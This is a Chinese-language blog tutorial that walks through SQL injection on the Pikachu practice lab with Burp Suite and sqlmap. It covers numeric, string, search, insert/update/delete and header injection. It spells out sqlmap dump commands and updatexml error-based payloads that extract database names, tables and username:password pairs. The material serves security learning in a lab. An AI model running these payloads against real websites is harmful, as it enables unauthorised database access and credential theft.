发布于2022年11月4日3年前 前言:软件:burpsqlmap软件配置设置代理打开kali中自带的火狐浏览器 点击设置 --网络设置 漏洞环境安装 数字型注入(post)篇利用burp抓包,将包中的文件另存为33.txt爆出数据库sqlmap -r "/root/22.txt" --dbs爆出表sqlmap -r "22.txt" -D lou --tables爆出表结构sqlmap -r "22.txt" -D lou -T users --columns爆出表数据sqlmap -r "/root/33.txt" -D kalibc -T users -C "username,password" --dump视频 字符型注入打开Pikachu中的字符型注入字符型注入字符型注入原理是 ‘false’ or true#‘恒为真连接数据库,输入select * id,email from member where id = ‘KOBE’会输出 KOBE账号的email那么,我们可以想象如果在输入框输入一段字符,使其合理拼接到sql中,是不是就可以执行遍历了呢我们在输入框输入 kali’ or 1 = 1# (前面一个单引号是与sql原有的’拼接 后面的#注释掉后面原有’)sqlmap注入之(搜索型)注入验证是否有注入我们直接输入一个字符k,点击搜索。提示未见异常我们输入关键字%k%效果如下:QQ截图20190404110711.png此时,我们可以得出,存在搜索型注入漏洞攻击方式一利用burp抓包,将包中的文件另存为22.txt将22.txt放到sqlmap根目录 /usr/share/sqlmap爆出数据库sqlmap -r "22.txt" --dbs方式二不需要抓包保存文件的形式,直接执行命令sqlmap -u http://192.168.123.129/vul/sqli/sqli_search.php? --data "name=*&submit=%E6%90%9C%E7%B4%A2" --dbs分析:SQL的模糊查询命令select * from 表名 where 字段名 like ‘%(对应值)%’;,发现可以按照之前的思路来实现万能语句的拼接。将拼接语句写为'%xxxx%'or 1=1 #%'回到pikachu平台来进行尝试xx型注入由于XX型的只是SQL拼接方式不同,这里直接放结果。xx')or 1=1#sql update/insert/dele注入关于update insert语句update 数据库更新语句insert 数据库插入语句首先打开注册页面我们填写数据,点击提交后抓包。右键 Send To Repeater 将字段name的值改为kali' or updatexml(1,concat(0x7e,database()),0) or'点击go直接爆出数据库的名称。即!改成的语句应为:username=kali' or updatexml(1,concat(0x7e,database()),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit获取表名name值为 ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 0,1)),0) or'username=' or updatexml(2,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 3,1)),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit获取列kali' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'获取内容username=kali' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submitupdate注入首先登陆点击修改 进行抓包爆出数据库kali'or updatexml(2,concat(0x7e,(database())),0) or'其他请参考上面提到的语法。delete注入我们先随便进行留言然后找到删除连接爆出数据库的版本or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)在浏览器中执行http://127.0.0.1:8888/vul/sqli/sqli_del.php?id=56%20or%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)成功得到版本爆出数据库: or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)爆出表: or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or ''列名: or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1 )),0) or ''HTTP Header注入有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。 版权属于:逍遥子大表哥本文链接:https://blog.bbskali.cn/1369.html按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
创建帐户或登录后发表意见